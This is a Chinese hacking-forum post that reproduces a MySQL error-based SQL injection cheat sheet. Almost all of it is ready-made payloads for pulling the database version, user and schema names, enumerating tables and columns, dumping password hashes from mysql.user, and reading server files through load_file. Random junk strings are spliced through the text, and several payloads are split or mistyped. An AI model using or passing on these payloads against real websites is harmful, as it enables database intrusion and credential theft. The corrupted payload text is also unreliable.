找回密码
 立即注册
欢迎中测联盟老会员回家,1997年注册的域名
查看: 1983|回复: 0
打印 上一主题 下一主题

Mysql暴错注入参考(pdf)

[复制链接]
跳转到指定楼层
楼主
发表于 2013-7-27 11:00:46 | 显示全部楼层 回帖奖励 |倒序浏览 |阅读模式
本帖最后由 Nightmare 于 2013-3-17 14:20 编辑 * k) }1 h2 |8 d

9 z6 N1 _. n8 U4 e- k3 r  B6 G
  k$ d$ a# v2 a& X' R& m6 eMysql暴错注入参考(pdf),每天一贴。。。: @; e! ^, }, ~* T2 }. G; @& H

' J9 Q, m& r# J  n# h6 dMySql Error Based Injection Reference* o) q8 `/ O8 `3 H0 {
[Mysql暴错注入参考]
* v9 e) `  P) I+ q% ZAuthornig0s1992
; K  x" j. y! z% U8 KBlog:http://pnig0s1992.blog.51cto.com/
7 O4 ?! b9 ]3 I- p. `0 Y7 ^$ @TeAm:http://www.FreeBuf.com/
! h4 z, M( h; Y9 h& v+ e" n* a& aMysql5.0.91下测试通过,对于5+的绝大部分版本可以测试成功
$ W6 A! M5 z$ P  r8 I/ ]3 {3 I小部分版本使用name_const()时会报错.可以用给出的Method.2测试' i- K1 G& I4 A, e. L1 ]2 _1 t
查询版本:+ V0 M0 p9 P/ [, N8 T8 g2 g
Method.1:and+exists(select*from+(select*from(select+name_const(@@version,0))a+( I9 B& I2 |9 ~/ f# H
join+(select+name_const(@@version,0))b)c)5 T5 A5 X' E& U" N' ]
Method.2:and+(SELECT+1+FROM+(select+count(*),concat(floor(rand(0)*2),(SELECT+version()))a+from+information_schema.tables+gro
5 o/ v1 u3 I" J0 a* lup by a)b)
# \- _7 M% @8 Q# P* k# I7 D查询当前用户:( V: Q6 n5 D- O) A- _# G
Method.1:and+exists(select*from+(select*from(select+name_const(user(),0))a+join+(select+name_const(user(),0))b)c)% x8 R% H+ [+ ?- q
Method.2:and+(select+1+from(select+count(*),concat((select+(select+user())+from+information_schema.tables+limit+0,1).floor(r
& w) a9 `8 J, sand(0)*2))x+from+information_schema.tables+group+by+x)a). e0 O% \- O7 P
查询当前数据库:# E) _% S9 C  N7 A9 s
Method.1:and+exists(select*from+(select*from(select+name_const(database(),0))a+join+(select+name_const(database(),0))b)c)
. ~. i" z" D2 i$ _; r$ r) ^Method.2:and+(select+1+from(select+count(*),concat((select+(select+database())+from+information_schema.tables+limit+0,1).flo  F) s  H4 k$ l% z; y
or(rand(0)*2))x+from+information_schema.tables+group+by+x)a)( i/ k) |8 J: w% s! n! c5 t
依次爆库and+exists(select*from+(select*from(select+name_const((SELECT+distinct+schema_name+FROM+information_schema.schemata+2 B; O- `9 h) w' U4 |* Z  U- b
LIMIT+n,1),0))a+join+(select+name_const((SELECT+distinct+schema_name+FROM+information_schema.schemata+LIMIT+n,1),0))b)c) 将n: v2 h) `% ~% q1 f5 P% M! y& I2 A
顺序替换
" Y# ~' E% |9 c爆指定库数目:: ^/ p, q; n/ u
and+(select+1+from(select+count(*),concat((select+(select+(SELECT+count(table_name)+FROM+`information_schema`.tables+WHERE+t
) V# x) z. \; Table_schema=0x6D7973716C))+from+information_schema.tables+limit+0,1),floor(rand(0)*2))x+from+information_schema.tables+group
1 M4 Z: o% T3 ?1 A7 Q& L+by+x)a)+and+1=1 0x6D7973716C=mysql# ?$ S& O' M$ y
依次爆表:
. z7 O+ O' t1 L! J1 E3 yand+(select+1+from(select+count(*),concat((select+(select+(SELECT+distinct+table_name+FROM+information_schema.tables+Where+t
3 O! {, l+ i$ C7 }7 |- Xable_schema=0x6D7973716C+limit+n,1))+from+information_schema.tables+limit+0,1).floor(rand(0)*2))x+from+information_schema.ta$ k7 l% I# e, d! q1 }1 T7 `
bles+group+by+x)a)+and+1=1
( G3 u2 R  O" X. |; ^. H0x6D7973716C=Mysql 将n顺序替换
( A5 M3 F% e6 L1 L1 h4 G' {爆表内字段数目:/ X) g: D# J  p  Y3 A) s. B7 e
and+(select+1+from(select+count(*),concat((select+(select+(SELECT+count(column_name)+FROM+`information_schema`.columns+WHERE7 u. C7 J, L' O7 ^* p& E* Q: K
+table_schema=0x6D7973716C+AND+table_name=0x636F6C756D6E735F70726976))+from+information_schema.tables+limit+0,1),floor(ran
0 @  J- O' S% Q( ~* u, b0)*2))x+from+information_schema.tables+group+by+x)a)+and+1=1
# o( H% o- N0 X7 a3 @! U依次爆字段:
/ w' h. v( f  X5 Y4 s# Fand+(select+1+from(select+count(*),concat((select+(select+(SELECT+distinct+column_name+FROM+information_schema.columns+Where) ~, l6 S1 ?7 H  e
+table_schema=0x6D7973716C+AND+table_name=0x636F6C756D6E735F70726976+limit+n,1))+from+information_schema.tables+limit+0,1! _* a( r, h: [# Y6 n
loor(rand(0)*2))x+from+information_schema.tables+group+by+x)a)+and+1=1  将n顺序替换8 b9 F3 t' {5 }1 Q8 Q
依次暴内容:
" K- S3 B3 ]  t7 \9 O7 _and+(select+1+from(select+count(*),concat((select+(select+(select+password+from+mysql.user+limit+n,1))+from+information_sche5 c* b0 ^- d! _
ma.tables+limit+0,1).floor(rand(0)*2))x+from+information_schema.tables+group+by+x)a)+and+1=1
9 n: I* ~0 X4 B! ~3 M7 I% r将n顺序替换+ F0 X$ U9 a& n2 P; j1 c, p
爆文件内容:
+ O" }, o$ O# |' p+ ]% `and+(SELECT+1+FROM+(select count(*),concat(floor(rand(0)*2),(SELECT+substring(load_file(0x433A5C5C746573742E617361),1,64)))a; n  T9 m0 F# R, t
from+information_schema.tables+group+by+a)b) 6 e$ {/ z% t9 H) ~: I, W
0x433A5C5C626F6F742E696E69=C:\\boot.ini 因为只能爆出64字节的内容,需要用Substring()控制显示的字节4 X, F8 e" n2 G/ J
Thx for reading.
9 V# m$ S5 [0 |3 G2 [& \/ G0 e7 ^, s
( z. p( q$ |4 P; Z1 i不要下载也可以,
# C6 t; o* Y5 G4 M* [

本帖子中包含更多资源

您需要 登录 才可以下载或查看,没有帐号?立即注册

x
回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

快速回复 返回顶部 返回列表